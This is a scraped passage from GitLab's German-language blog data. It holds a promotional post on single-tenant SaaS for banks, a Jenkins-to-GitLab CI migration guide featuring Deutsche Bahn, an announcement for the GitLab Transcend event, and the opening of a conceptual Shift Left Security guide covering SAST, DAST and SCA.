Runners](https://docs.gitlab.com/administration/dedicated/hosted_runners/) für GitLab Dedicated veranschaulichen diesen Ansatz. Diese Runner verbinden sich sicher über ausgehende Private Links mit deinem Rechenzentrum und ermöglichen den Zugriff auf deine privaten Dienste, ohne Datenverkehr dem öffentlichen Internet auszusetzen. Die [Auto-Scaling-Architektur](https://docs.gitlab.com/runner/runner_autoscale/) bietet die benötigte Performance, ohne Sicherheit oder Kontrolle zu gefährden.\n\n## Kontrolle neu gedacht\n\nFür Finanzinstitute ist die Minimierung geteilter Risiken nur ein Teil der Gleichung – wahre Resilienz erfordert präzise Kontrolle darüber, wie Systeme arbeiten, skalieren und regulatorische Frameworks einhalten. GitLab Dedicated ermöglicht umfassende Datensouveränität durch mehrere Ebenen der Kundenkontrolle. Sie behalten die vollständige Autorität über [Verschlüsselungsschlüssel](https://docs.gitlab.com/administration/dedicated/encryption/#encrypted-data-at-rest) durch [Bring-Your-Own-Key (BYOK)](https://docs.gitlab.com/administration/dedicated/encryption/#bring-your-own-key-byok)-Funktionen und stellen sicher, dass sensible Quellcodes und Konfigurationsdaten nur für deine Organisation zugänglich bleiben. Selbst GitLab kann ohne deine Schlüssel nicht auf deine verschlüsselten Daten zugreifen.\n\n[Datenresidenz](https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/) wird zur bewussten Entscheidung. Du wählst deine bevorzugte AWS-Region, um regulatorische Anforderungen und organisatorische Daten-Governance-Richtlinien zu erfüllen, und behältst die volle Kontrolle darüber, wo dein sensibler Quellcode und geistiges Eigentum gespeichert werden.\n\nDiese Kontrolle erstreckt sich auf [Compliance-Frameworks](https://docs.gitlab.com/user/compliance/compliance_frameworks/), die Finanzinstitute benötigen. Die Plattform bietet [umfassende Audit-Trails](https://docs.gitlab.com/user/compliance/audit_events/) und Protokollierungsfunktionen, die Compliance-Bemühungen für Finanzdienstleistungsvorschriften wie [Sarbanes-Oxley](https://about.gitlab.com/compliance/sox-compliance/) und [GLBA Safeguards Rule](https://www.ftc.gov/business-guidance/privacy-security/gramm-leach-bliley-act) unterstützen.\n\nWenn Compliance-Fragen auftreten, arbeitest du direkt mit GitLabs dediziertem Support-Team zusammen – erfahrene Fachleute, welche die regulatorischen Herausforderungen verstehen, denen Organisationen in hochregulierten Branchen gegenüberstehen.\n\n## Operative Exzellenz ohne operativen Overhead\n\nGitLab Dedicated gewährleistet [Hochverfügbarkeit](https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/) mit [integrierter Disaster Recovery](https://docs.gitlab.com/subscriptions/gitlab_dedicated/), sodass deine Entwicklungsoperationen auch bei Infrastrukturausfällen resilient bleiben. Die dedizierten Ressourcen skalieren mit den Bedürfnissen deiner Organisation ohne die Performance-Variabilität, die gemeinsame Umgebungen einführen.\n\nDer [Zero-Maintenance-Ansatz](https://docs.gitlab.com/subscriptions/gitlab_dedicated/maintenance/) für CI/CD-Infrastruktur eliminiert eine erhebliche operative Belastung. Deine Teams konzentrieren sich auf die Entwicklung, während GitLab die zugrunde liegende Infrastruktur, Auto-Scaling und Wartung verwaltet – einschließlich schneller Sicherheitspatches zum Schutz deines kritischen geistigen Eigentums vor aufkommenden Bedrohungen. Diese operative Effizienz geht nicht auf Kosten der Sicherheit: Die dedizierte Infrastruktur bietet Enterprise-Grade-Kontrollen und liefert gleichzeitig Cloud-Skalierungs-Performance.\n\n## Die Wettbewerbsrealität\n\nWährend einige Institutionen über Infrastrukturstrategien debattieren, ergreifen Branchenführer entscheidende Maßnahmen. [NatWest Group](https://about.gitlab.com/press/releases/2022-11-30-gitlab-dedicated-launches-to-meet-complex-compliance-requirements/), eine der größten Finanzinstitutionen Großbritanniens, wählte GitLab Dedicated zur Transformation ihrer Engineering-Fähigkeiten:\n\n> *\"Die NatWest Group setzt GitLab Dedicated ein, um unseren Ingenieuren die Nutzung einer gemeinsamen Cloud-Engineering-Plattform zu ermöglichen; neue Kundenergebnisse schnell, häufig und sicher mit hoher Qualität, automatisierten Tests, On-Demand-Infrastruktur und durchgängigem Deployment zu liefern. Dies wird die Zusammenarbeit erheblich verbessern, die Entwicklerproduktivität steigern und Kreativität durch eine 'Single-Pane-of-Glass' für die Softwareentwicklung freisetzen.\"*\n>\n> **Adam Leggett**, Platform Lead - Engineering Platforms, NatWest\n\n## Die strategische Entscheidung\n\nDie erfolgreichsten Finanzinstitute stehen vor einer einzigartigen Herausforderung: Sie haben am meisten durch geteilte Infrastrukturrisiken zu verlieren, aber auch die Ressourcen, um bessere Lösungen zu entwickeln.\n\n**Die Frage, die wirkliche Branchenführer von anderen unterscheidet:** Werden sie geteilte Infrastrukturrisiken als Preis der digitalen Transformation akzeptieren, oder in Infrastruktur investieren, welche den Quellcode mit der strategischen Bedeutung behandelt, die er verdient?\n\nDeine Algorithmen werden nicht geteilt. Deine Risikomodelle werden nicht geteilt. Deine Kundendaten werden nicht geteilt.\n\n**Warum wird deine Entwicklungsplattform geteilt?**\n\n*Bereit, deinen Quellcode wie das strategische Asset zu behandeln, das er ist? [Sprich mit uns](https://about.gitlab.com/solutions/finance/) darüber, wie dir GitLab Dedicated die Sicherheit, Compliance und Performance bietet, die Finanzinstitute fordern – ohne die Kompromisse geteilter Infrastruktur.*",{"featured":687,"template":836,"slug":985},"why-financial-services-choose-single-tenant-saas",{"category":548,"slug":551,"posts":987},[988,1000,1012],{"content":989,"config":998},{"title":990,"description":991,"authors":992,"heroImage":994,"date":995,"body":996,"category":551,"tags":997},"Von Jenkins zu GitLab: Der vollständige Migrationsleitfaden","Schwachstellen in Jenkins-Umgebungen systematisch adressieren – mit GitLab CI als integrierter DevSecOps-Plattform.",[993],"Itzik Gan Baruch","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663000/Blog/Hero%20Images/tanukilifecycle.png","2026-03-15","Jenkins hat sich über mehr als ein Jahrzehnt als Standard-CI-Werkzeug in deutschen Unternehmen etabliert. Viele Organisationen betreiben heute dezentral gewachsene Installationen: mehrere Jenkins-Instanzen mit teambezogenen Konfigurationen, umfangreichen Plugin-Ökosystemen und eigenen Update- und Sicherheitspflegezyklen. Diese Infrastruktur ist produktiv – und entsprechend schwer zu verändern.\n\nGleichzeitig verschieben sich die Anforderungen: Cloud-Kompatibilität, Container-Orchestrierung, integrierte Sicherheitsscans und KI-gestützte Entwicklungswerkzeuge werden zur Grundvoraussetzung moderner CI/CD-Umgebungen. Jenkins liefert diese Fähigkeiten nicht nativ – sie entstehen durch das Zusammensetzen, Warten und Absichern von Plugins. Dabei ist der Aufwand nicht gering: Sicherheitsrelevante Plugin-Aktualisierungen fallen regelmäßig an und binden Entwicklungskapazität, die anderweitig produktiver eingesetzt werden könnte.\n\nDieser Leitfaden beschreibt drei bewährte Migrationsstrategien und einen empfohlenen Schritt-für-Schritt-Prozess – ergänzt durch ein deutsches Praxisbeispiel – für Organisationen, die eine Migration von Jenkins zu GitLab CI evaluieren oder planen.\n\n\n## Warum zu GitLab CI migrieren?\n\nGitLab CI ist integraler Bestandteil der GitLab DevSecOps-Plattform. Die zentralen Unterschiede gegenüber Jenkins:\n\n- **Integrierte Plattform:** Quellcodeverwaltung, Projektmanagement, Sicherheitsscans und Analytics sind ohne zusätzliche Plugins verfügbar – als ein zusammenhängendes System.\n- **Container und Orchestrierung:** Native Unterstützung für Docker und Kubernetes, ohne Plugin-Abhängigkeiten.\n- **Sicherheit im Entwicklungsprozess:** Statische Codeanalyse und Schwachstellen-Scanning sind direkt in die Pipeline integriert – nicht nachgelagert konfiguriert.\n- **GitOps-Prinzipien:** Versionskontrollierte, deklarative Konfigurationen für Infrastruktur und Deployments erhöhen die Reproduzierbarkeit und Nachvollziehbarkeit.\n\nEine Einführung in GitLab CI ist im englischen Originalbeitrag als Video-Tutorial verfügbar.\n\n\n## Die drei Migrationsstrategien\n\nJe nach Ausgangssituation, verfügbaren Ressourcen und Risikobereitschaft bieten sich drei Strategien an.\n\n### Strategie 1: GitLab CI für neue Projekte\n\nBestehende Jenkins-Installationen bleiben unverändert in Betrieb. Neue Projekte starten von Beginn an auf GitLab CI. Teams bauen schrittweise Erfahrung auf, ohne laufende Workflows zu beeinträchtigen.\n\n**Vorteile:** Minimales Migrationsrisiko. Kein Druck zur sofortigen Umstellung. Expertise entsteht organisch.\n\n**Herausforderungen:** Zwei CI/CD-Plattformen parallel zu betreiben erhöht die Koordinationskomplexität – insbesondere bei Integration und plattformübergreifender Zusammenarbeit. Prozess- und Sicherheitskonsistenz erfordert zusätzliche Abstimmung.\n\n### Strategie 2: Strategische Projekte migrieren\n\nProjekte, die am meisten von GitLab CIs Fähigkeiten profitieren, werden zuerst identifiziert und migriert. Statt einer vollständigen Umstellung konzentrieren sich die Ressourcen gezielt auf diese Projekte.\n\n**Vorteile:** Konkrete Verbesserungen in strategisch relevanten Bereichen bei überschaubarem Aufwand. Erfahrungen mit GitLab CI können gesammelt werden, bevor weitere Migrationen folgen.\n\n**Herausforderungen:** Auch die Migration einzelner Projekte erfordert sorgfältige Planung. Die Zusammenarbeit zwischen Projekten auf unterschiedlichen Plattformen bedarf zusätzlicher Koordination.\n\n### Strategie 3: Vollständige Migration\n\nAlle CI/CD-Prozesse, Projekte und Workflows werden auf GitLab CI migriert. Dieser Ansatz strebt Einheitlichkeit und vereinfachte Administration über alle Projekte hinweg an. Empfohlen wird dabei ein iteratives Vorgehen: zunächst neue Projekte, dann strategische Projekte, schließlich die verbleibenden – mit wachsender Erfahrung und Sicherheit in jedem Schritt.\n\n**Vorteile:** Einheitliche CI/CD-Prozesse vereinfachen langfristig Wartung und Administration. Alle Fähigkeiten der GitLab-Plattform – von Infrastructure as Code bis zu integrierten Sicherheitsfunktionen – stehen vollständig zur Verfügung. Skalierbarkeit für wachsende Projektportfolios.\n\n**Herausforderungen:** Eine vollständige Migration erfordert detaillierte Planung und kann laufende Projekte vorübergehend beeinflussen. Budget für Schulungen und Migrationsaufwand ist realistisch einzuplanen.\n\nDie Wahl der Strategie sollte auf den spezifischen Anforderungen, der Ausgangssituation und den verfügbaren Ressourcen der Organisation basieren.\n\n\n## Praxisbeispiel: Deutsche Bahn\n\nDie Deutsche Bahn betreibt eines der größten Hochgeschwindigkeitsbahnnetzwerke Europas und entwickelt mit GitLab die DB-Navigator-App – die wichtigste digitale Schnittstelle für täglich Millionen von Reisenden in Deutschland.\n\nVor der Konsolidierung auf GitLab betrieb die Deutsche Bahn mehrere verteilte Jenkins-Instanzen mit jeweils eigenen Konfigurationen und Plugin-Setups. Das Unternehmen ist dabei, Jenkins vollständig durch GitLab zu ersetzen. „All diese Jenkins-Plugins mussten oft aufgrund von Sicherheitsproblemen aktualisiert werden, und wir mussten jeden Monat Plugin-Upgrades durchführen. Es war sehr zeitaufwendig\", sagt Heiko Maaß, System Engineer bei der Deutschen Bahn. „Diese Aufgaben sind jetzt weg, sodass wir diese Zeit nutzen können, um neue Features zu erstellen, anstatt Jenkins zu warten.\" Der Wartungsaufwand war beträchtlich: Sicherheitsrelevante Plugin-Aktualisierungen fielen monatlich an und banden Kapazität, die in die Entwicklung neuer Funktionen hätte fließen können. Mit der Migration zu GitLab CI entfiel dieser Aufwand. Gleichzeitig vereinfachte GitLabs integrierte Plattform die bis dahin weitgehend manuelle Compliance-Koordination durch automatisierte Prüfprozesse erheblich.\n\nErgebnis: **80 % weniger Zeitaufwand für Pipeline-Wartung**, 10–20 % Infrastrukturkosteneinsparungen, 1 Million Pipeline-Builds pro Monat auf einer konsolidierten Plattform.\n\nDen vollständigen Kundenbericht gibt es hier: [Deutsche Bahn AG – GitLab Kundenstory](https://about.gitlab.com/de-de/customers/deutsche-bahn-ag/)\n\n[GitLab CI kostenlos testen](https://gitlab.com/-/trials/new)\n\n\n---\n\n\n## Technische Umsetzung: Migrationsschritte und Konfiguration\n\n*Dieser Abschnitt richtet sich an Implementierungsteams. Vollständige Video-Tutorials und alle Konfigurationsdetails sind im [englischen Originalbeitrag](https://about.gitlab.com/blog/jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment/) verfügbar.*\n\n\n### Empfohlener 6-Schritte-Migrationsprozess\n\nFür eine strukturierte Migration empfiehlt sich folgendes Vorgehen:\n\n1. **Pipeline-Bestandsaufnahme:** Alle bestehenden Jenkins-Pipelines inventarisieren. Umfang und Komplexität der Migration werden damit transparent.\n2. **Parallele Migration:** Einzelne Pipelines schrittweise auf GitLab CI übertragen, während Jenkins für laufende Arbeiten weiter genutzt wird.\n3. **Code-Verifikation:** Beide Pipelines parallel betreiben und die Ergebnisse direkt vergleichen. In dieser Phase ist der GitLab-Workflow optional, Jenkins bleibt verbindlich.\n4. **Kontinuierliche Validierung:** Nach einer vollständigen Iteration die Ergebnisse beider Pipelines auswerten – Statuscodes, Logs, Performance.\n5. **Umstellung auf GitLab CI:** Sobald Vertrauen in GitLab CI aufgebaut ist, wird der GitLab-Workflow zum verbindlichen Standard. Jenkins läuft im Hintergrund weiter.\n6. **Jenkins-Abschaltung:** Nach einer zweiten Iteration, bei nachgewiesener Stabilität von GitLab CI, wird Jenkins schrittweise aus dem Pipeline-Prozess entfernt.\n\nDieser Ansatz stellt sicher, dass Probleme identifiziert und behoben werden, bevor die vollständige Umstellung erfolgt.\n\n\n### Vorbereitung: Schulung und Kommunikation\n\nEine erfolgreiche Migration erfordert Vorbereitung auf organisatorischer Ebene:\n\n- **Stakeholder-Kommunikation:** Migrationspläne und Zeitplan frühzeitig an alle Beteiligten kommunizieren – DevOps-Teams, Entwicklungsteams und QA. Transparenz über Ziele und Erwartungen ist entscheidend.\n- **Schulungen:** Wissensaufbau zu GitLab CI, YAML-Syntax und grundlegender Pipeline-Erstellung. Teams benötigen die Grundlagen, bevor sie eigenständig arbeiten können.\n- **Praxisorientiertes Lernen:** Entwicklungsteams paarweise arbeiten lassen. Gegenseitiges Lernen während der Migration beschleunigt den Kompetenzaufbau.\n\n\n### Konfigurationsvergleich: Jenkinsfile vs. .gitlab-ci.yml\n\nBeide Dateien definieren Stages, Jobs und Schritte des CI/CD-Prozesses. Build-, Test- und Deployment-Schritte sowie Umgebungsvariablen lassen sich in beiden konfigurieren.\n\nDie wesentlichen Unterschiede: Jenkinsfile verwendet Groovy für Scripting, .gitlab-ci.yml verwendet YAML – eine menschenlesbarere und strukturiertere Syntax. GitLab CI stellt zudem eine breite Palette von integrierten Templates und vordefinierten Jobs bereit, was den Konfigurationsaufwand gegenüber eigenem Groovy-Scripting deutlich reduziert.\n\nDie Migration bestehender Jenkinsfile-Konfigurationen erfordert eine sorgfältige Analyse der vorhandenen Pipelines und eine Übertragung der Logik in die YAML-Syntax von GitLab CI. Unterschiede in Syntax und Plattformfähigkeiten sind dabei zu berücksichtigen.\n\n\n### Dokumentation und Professional Services\n\nGitLab bietet Dokumentation zur Jenkins-Migration: [Migrationsleitfaden in der GitLab-Dokumentation](https://docs.gitlab.com/ci/migration/jenkins/).\n\nDarüber hinaus unterstützt das Professional-Services-Team von GitLab Organisationen bei der Migration – von der Konvertierung von Jenkinsfile zu .gitlab-ci.yml bis zur Optimierung bestehender CI/CD-Workflows.\n\nDen vollständigen Leitfaden mit Video-Tutorials, weiteren Konfigurationsbeispielen und dem Lockheed-Martin-Fallbeispiel gibt es im englischen Originalbeitrag:\n\n[Jenkins to GitLab: The ultimate guide to modernizing your CI/CD environment](https://about.gitlab.com/blog/jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment/)\n",[905,254,846,213,548,538],{"slug":999,"featured":687,"template":836},"jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment",{"content":1001,"config":1010},{"description":1002,"authors":1003,"heroImage":1005,"date":1006,"title":1007,"body":1008,"category":551,"tags":1009},"Komm am 10. Februar 2026 auf die GitLab Transcend in München oder sei online live dabei. Finde heraus, wie du Produktivitätsgewinne mit Qualität, Zuverlässigkeit und Sicherheit in Einklang bringst.",[1004],"Manav Khurana","https://res.cloudinary.com/about-gitlab-com/image/upload/v1767982271/e9ogyosmuummq7j65zqg.png","2026-01-12","KI verändert DevSecOps: Triff GitLab und erfahre, was als Nächstes kommt","**KI verspricht einen Quantensprung bei der Innovationsgeschwindigkeit, doch die meisten Software-Teams stoßen an ihre Grenzen.**\n\nLaut unserem brandneuen [Global DevSecOps Report mit Zahlen für Deutschland](https://learn.gitlab.com/de-developer-survey/report-de-de-de-devsecops-report-practitioner) macht KI-generierter Code mittlerweile 32 Prozent aller Entwicklungsarbeit aus. Dennoch berichten 75 Prozent der deutschen DevSecOps-Expert(inn)en, dass KI das Compliance-Management erschwert, und 78 Prozent sagen, dass agentische KI beispiellose Sicherheitsherausforderungen schaffen wird.\n\nDas ist das **KI-Paradoxon:** KI beschleunigt das Programmieren, aber die Software-Auslieferung verlangsamt sich, weil Teams damit kämpfen, den Code zu testen, abzusichern und zu deployen.\n\n> **[Lade dir unseren DevSecOps Report für Deutschland *kostenlos* herunter!](https://learn.gitlab.com/de-developer-survey/report-de-de-de-devsecops-report-practitioner)**\n\n## Produktivitätsgewinne treffen auf Workflow-Engpässe\n\nDas Problem ist nicht die KI selbst. Es liegt daran, wie Software heute entwickelt wird. Der traditionelle DevSecOps-Lebenszyklus enthält Hunderte kleiner Aufgaben, die Entwickler(innen) manuell bewältigen müssen: Tickets aktualisieren, Tests ausführen, Reviews anfordern, auf Freigaben warten, Merge-Konflikte beheben, Sicherheitsprobleme angehen. Diese Aufgaben kosten laut unserer Forschung jedes Teammitglied durchschnittlich sieben Stunden pro Woche.\n\nEntwicklungsteams produzieren Code schneller als je zuvor, aber dieser Code kriecht immer noch durch fragmentierte Toolchains, manuelle Übergaben und unverbundene Prozesse. Tatsächlich verwenden nahezu 60 Prozent der deutschen DevSecOps-Teams mehr als fünf Tools für die Softwareentwicklung insgesamt, und 45 Prozent nutzen mehr als fünf KI-Tools. Diese Fragmentierung schafft Kollaborationsbarrieren – 97 Prozent der deutschen DevSecOps-Fachleute erleben Faktoren, die die Zusammenarbeit im Software-Entwicklungszyklus einschränken.\n\nDie Antwort sind nicht noch mehr Tools. Es ist intelligente Orchestrierung, die Software-Teams und ihre KI-Agenten über Projekte und Release-Zyklen hinweg zusammenbringt – mit eingebauter Sicherheit, Governance und Compliance auf Enterprise-Niveau.\n\n## Auf der Suche nach tieferen Mensch-KI-Partnerschaften\n\nDevSecOps-Profis wollen nicht, dass KI übernimmt – sie wollen verlässliche Partnerschaften. Die große Mehrheit (81 Prozent) sagt, dass die Nutzung agentischer KI ihre Arbeitszufriedenheit erhöhen würde, und 38 Prozent stellen sich eine ideale Zukunft mit einer 50/50-Aufteilung zwischen menschlichen und KI-Beiträgen vor. Sie sind bereit, KI rund ein Drittel ihrer täglichen Aufgaben ohne menschliche Überprüfung anzuvertrauen, besonders bei Dokumentation, Test-Erstellung und Code-Reviews.\n\nWas wir deutlich von deutschen DevSecOps-Expert(inn)en gehört haben, ist, dass KI sie nicht ersetzen wird; vielmehr wird sie ihre Rollen grundlegend verändern. 80 Prozent der DevSecOps-Fachleute glauben, dass KI ihre Arbeit innerhalb von fünf Jahren erheblich verändern wird, und bemerkenswert ist, dass drei Viertel denken, dies wird mehr Engineering-Jobs schaffen, nicht weniger. Da das Programmieren mit KI einfacher wird, werden Ingenieur(inn)en, die Systeme entwerfen, Qualität sicherstellen und geschäftlichen Kontext anwenden können, sehr gefragt sein.\n\nEntscheidend ist, dass 84 Prozent zustimmen, dass es wesentliche menschliche Qualitäten gibt, die KI niemals vollständig ersetzen wird, einschließlich Kreativität, Innovation, Zusammenarbeit und strategische Vision.\n\nWie können Organisationen also die Lücke zwischen dem Versprechen der KI und der Realität fragmentierter Workflows überbrücken?\n\n## Komm zur GitLab Transcend: Erfahre, wie du mit agentischer KI echten Wert schaffst\n\nAm 10. Februar 2026 veranstaltet GitLab Transcend, wo wir zeigen werden, wie intelligente Orchestrierung die KI-gestützte Softwareentwicklung transformiert. Du erhältst einen ersten Blick auf GitLabs kommende Produkt-Roadmap und erfährst, wie Teams reale Herausforderungen lösen, indem sie Entwicklungs-Workflows mit KI modernisieren.\n\nOrganisationen, die in dieser neuen Ära gewinnen, balancieren KI-Einführung mit Sicherheit, Compliance und Plattform-Konsolidierung. KI bietet echte Produktivitätsgewinne, wenn sie durchdacht implementiert wird – nicht indem sie menschliche Entwickler(innen) ersetzt, sondern indem sie DevSecOps-Profis befreit, sich auf strategisches Denken und kreative Innovation zu konzentrieren.\n\n> ## **Registriere dich jetzt für unser Event in München oder die Online-Konferenz**\n>\n> [Hier geht's zur digitalen Transcend](https://about.gitlab.com/events/transcend/virtual/) und [hier zum Live-Event in München](https://about.gitlab.com/events/transcend/munich/). Sichere dir deinen Platz und erfahre, wie intelligente Orchestrierung deinen Software-Teams helfen kann, im Flow zu bleiben.\n> *Die Transcend in München wird auf Englisch stattfinden.*",[846,982,798],{"featured":13,"template":836,"slug":1011},"ai-is-reshaping-devsecops-attend-gitlab-transcend-to-see-whats-next",{"content":1013,"config":1021},{"title":1014,"category":551,"tags":1015,"authors":1016,"heroImage":1017,"body":1018,"description":1019,"date":1020},"Shift Left Security: DevSecOps richtig umsetzen – ein Praxisleitfaden",[982],[965],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1765222301/czfqu7ajwcwyyn4beg6k.jpg","Traditionelle Sicherheitsmodelle geraten in modernen [DevOps-Umgebungen](https://about.gitlab.com/de-de/topics/devops/) schnell an ihre Grenzen. Sicherheitsprüfungen, die erst spät im Entwicklungsprozess erfolgen, verursachen hohe Kosten, lange Reaktionszeiten und unterbrechen agile Workflows. Der Shift Left Security-Ansatz begegnet diesen Herausforderungen, indem er Sicherheitsmaßnahmen frühzeitig integriert. Statt reaktiv auf Sicherheitslücken zu reagieren, werden Risiken bereits in der Entwicklungsphase erkannt und adressiert. Wir zeigen dir, wie dieser Ansatz funktioniert, welche Vorteile er bietet und wie du Shift Left Security umsetzt.\n\n## **Was ist Shift Left Security?**\n\nShift Left Security bezeichnet einen Ansatz in der Softwareentwicklung, bei dem Sicherheitsmaßnahmen möglichst früh im Entwicklungsprozess integriert werden.\n\nTraditionell wurden Sicherheitstests erst am Ende des Softwareentwicklungszyklus (SDLC) durchgeführt, zum Beispiel in der Test- oder Produktionsphase. Dieses Vorgehen führt oft zu höheren Kosten und längeren Entwicklungszeiten, wenn kritische Sicherheitslücken spät entdeckt werden.\n\nMit dem Shift Left Ansatz wird das Thema Sicherheit nun auf der Zeitachse der Anwendungsentwicklung nach links verschoben, sodass anfälliger Code früh entdeckt werden kann. Ziel ist es, Schwachstellen schon in den frühen Phasen wie Planung, Design oder Codierung zu erkennen und zu beheben, statt sie erst im späteren Verlauf oder nach dem Deployment zu adressieren.\n\n![Infografik So funktioniert Shift Left](https://res.cloudinary.com/about-gitlab-com/image/upload/v1765222295/lx0qqnnyse2ginovcnxb.jpg \"Schaubild: Shift Left Security, Sicherheitsmaßnahmen werden möglichst früh im Entwicklungsprozess integriert.\")\n\n## **Der Shift Left Ansatz**\n\nShift Left Security ist eine strategische Herangehensweise, bei der Sicherheit möglichst früh in den Entwicklungsprozess integriert wird – nicht durch ein einzelnes Tool, sondern durch eine Kombination verschiedener Maßnahmen.\n\nTypischerweise werden dafür Sicherheitstools entlang des Entwicklungszyklus eingesetzt, darunter:\n\n* **SCA (Software Composition Analysis)**: SCA erkennt Schwachstellen und Lizenzrisiken in Open-Source-Komponenten, indem es Paketverwaltung, Manifestdateien, Binärdateien und Container-Images analysiert. Die Ergebnisse werden in einer Software-Stückliste (sog.[ Software Bill of Materials](https://about.gitlab.com/de-de/blog/the-ultimate-guide-to-sboms/)) zusammengeführt und mit Schwachstellen- und Lizenzdatenbanken abgeglichen. So lassen sich Sicherheits- und Compliance-Probleme systematisch aufspüren und schnell adressieren.\n* **SAST (Static Application Security Testing)**: SAST ist ein White-Box-Verfahren, das den Quellcode analysiert, ohne die Anwendung auszuführen. Es spiegelt die Sichtweise von Entwickler(innen) wider und erkennt Schwachstellen früh im Softwareentwicklungszyklus, z. B. fehlende Eingabevalidierung oder unsichere Codemuster. Dadurch ist es besonders kosteneffizient. Laufzeit- oder umgebungsbezogene Probleme kann SAST allerdings nicht erfassen.\n* **DAST (Dynamic Application Security Testing)**: DAST ist ein Black-Box-Verfahren, das laufende Web-Anwendungen testet und sich an der Methodik potenzieller Angreifer(innen) orientiert. Es erkennt Schwachstellen wie XSS, fehlerhafte Authentifizierung oder Konfigurationsfehler zur Laufzeit – ohne Kenntnis des zugrundeliegenden Codes. DAST wird typischerweise in späten Phasen der Entwicklung oder in Testumgebungen eingesetzt und eignet sich ausschließlich für Web-Anwendungen und -Services.\n* **Secret Scanning:** Shift Left Security umfasst auch das Scannen von Container-Images und serverlosen Funktionen, da moderne Anwendungen zunehmend in Containern ausgeführt oder über serverlose Architekturen bereitgestellt werden. Beim Scannen eines [Container-Images](https://about.gitlab.com/de-de/topics/devsecops/beginners-guide-to-container-security/) wird der Inhalt auf Sicherheitslücken, Schwachstellen im Build-Prozess und fehlerhafte Konfigurationen geprüft. Ziel ist es, Probleme zu erkennen, bevor das Image in der Produktion verwendet wird. Das Scannen serverloser Funktionen erfordert spezielle Überwachungslösungen, die cloud-native Umgebungen abdecken und auch ohne klassische Serverinfrastruktur funktionieren.\n\nDiese Tools können einzeln oder kombiniert verwendet werden. Effektiver ist jedoch eine [automatisierte Sicherheitsplattform](https://about.gitlab.com/de-de/blog/why-are-organizations-moving-to-a-unified-devsecops-platform/), die Risiken in allen Phasen des Entwicklungszyklus erkennt – von der Codierung bis zur Bereitstellung. So können DevOps-Teams Schwachstellen frühzeitig und systematisch beheben.\n\n**Lesetipp:** [SAST vs. DAST - Die Unterschiede erklärt](https://about.gitlab.com/de-de/topics/devsecops/sast-vs-dast/)\n\n## **Vorteile der Shift Left Security**\n\nDie Linksverschiebung sicherheitsrelevanter Maßnahmen führt zu einer Reihe von Vorteilen für Unternehmen und Entwickler(innen).\n\n* **Frühzeitiges Erkennen von Sicherheitsrisiken:** Durch Sicherheitsanalysen direkt im Code oder bei der Integration von Abhängigkeiten lassen sich Schwachstellen erkennen, bevor sie in produktive Systeme gelangen. Dies verschafft Entwickler(innen) mehr Zeit für die Reaktion und reduziert die potenzielle Bedrohung (beispielsweise durch Exploits oder Datenlecks) erheblich.\n* **Geringere Kosten für Fehlerbehebung:** Je später ein Sicherheitsfehler entdeckt wird, desto teurer ist seine Behebung. Wird eine Schwachstelle bereits vor dem Build entdeckt, reicht oft eine einfache Codeänderung – ohne zusätzlichen Aufwand für Tests oder Deployments. Wird das Problem erst in der Produktion bemerkt, ist der Aufwand deutlich höher und der gesamte Prozess kann Wochen dauern. Frühes Eingreifen spart Zeit, senkt die Kosten und ermöglicht es Entwickler(innen), sich stärker auf neue Funktionen statt auf Notfallpatches zu konzentrieren.\n* **Schnellere Entwicklungszyklen:** Sicherheitsprobleme lassen sich schneller beheben, solange sie nur im Quellcode bestehen. Wird ein Problem erst kurz vor dem Release oder in der Produktion entdeckt, verlängert sich der Behebungsprozess deutlich – mit der Gefahr, gesetzte Fristen zu verpassen und die Time-to-Market zu verlangsamen.\n* **Bessere Codequalität:** Sicherheitsüberprüfungen fördern eine saubere Code-Architektur, konsistente Implementierung und verständlichen Code. So entstehen robuste und wartbare Anwendungen.\n* **Bessere Zusammenarbeit:** Shift Left Security fördert die Zusammenarbeitzwischen Entwickler(innen) und Security-Teams. Wird ein Sicherheitsproblem früh im Quellcode erkannt, können beide Seiten gemeinsam daran arbeiten, ohne Schuldzuweisungen oder Zeitdruck. Das verbessert die Kommunikation und stärkt das gegenseitige Verständnis.\n* **Reduziertes Risiko im Live-Betrieb:** Wird eine Schwachstelle erst im laufenden Betrieb entdeckt, sind schnelle und oft drastische Maßnahmen nötig – etwa das Abschalten der App. Wird die Schwachstelle hingegen bereits während der Entwicklung identifiziert, lässt sie sich mit geringem Aufwand und ohne größere Auswirkungen auf Nutzer(innen) beheben.\n\n***[Wie Dunelm, der britische Marktführer für Haushaltswaren, die Sicherheit \"nach links\" geschoben hat, steht in dieser ausführlichen Case Study.](https://about.gitlab.com/de-de/customers/dunelm/)***\n\n## **Best Practices für deinen Shift Left Security Ansatz**\n\nShift Left Security erfordert die frühzeitige und umfassende Integration von Sicherheitsmaßnahmen in den Entwicklungsprozess – idealerweise ab dem ersten Moment, in dem Entwickler(innen) mit dem Programmieren beginnen. Die Sicherheitsprüfung soll nicht nachgelagert, sondern integraler Bestandteil der täglichen Entwicklungsarbeit sein. Damit das gelingt, solltest du auf Best Practices zurückgreifen.\n\n### **\\#1 Integration von Sicherheitsmaßnahmen in die CI/CD-Pipeline**\n\nSicherheits-Scans sind ein zentrales Element des Shift-Left-Ansatzes. Ihre volle Wirkung entfalten sie aber nur, wenn die Ergebnisse unmittelbar in die[ DevOps-Toolkette](https://about.gitlab.com/de-de/topics/ci-cd/shift-left-devops/) eingebunden sind. Reports sollten direkt im CI/CD-Pipeline-Bericht angezeigt werden, sodass Entwickler(innen) sie ohne Umwege nutzen können. Zusätzlich sollte die Erstellung einer Software Bill of Materials (SBOM) automatisiert werden, um alle verwendeten Abhängigkeiten, Container-Images und serverlosen Funktionen transparent zu erfassen und systematisch auf bekannte Schwachstellen zu prüfen.\n\n### **\\#2 Anwendung von Security-Tools in der Entwicklungsumgebung**\n\nSicherheitsfunktionen sollten direkt in die Entwicklungsumgebung eingebunden werden, damit Schwachstellen bereits vor Übertragung in den Main Branch erkannt werden. Durch die Integration in die vertrauten Toolsets der Entwickler(innen) wird eine kontinuierliche Zusammenarbeit mit dem Security-Team ermöglicht und der Aufwand für nachträgliche Korrekturen deutlich reduziert.\n\n### **\\#3 Schulung von Entwickler(innen)**\n\nDamit Entwickler(innen) die Anwendungssicherheit bereits frühzeitig im Prozess 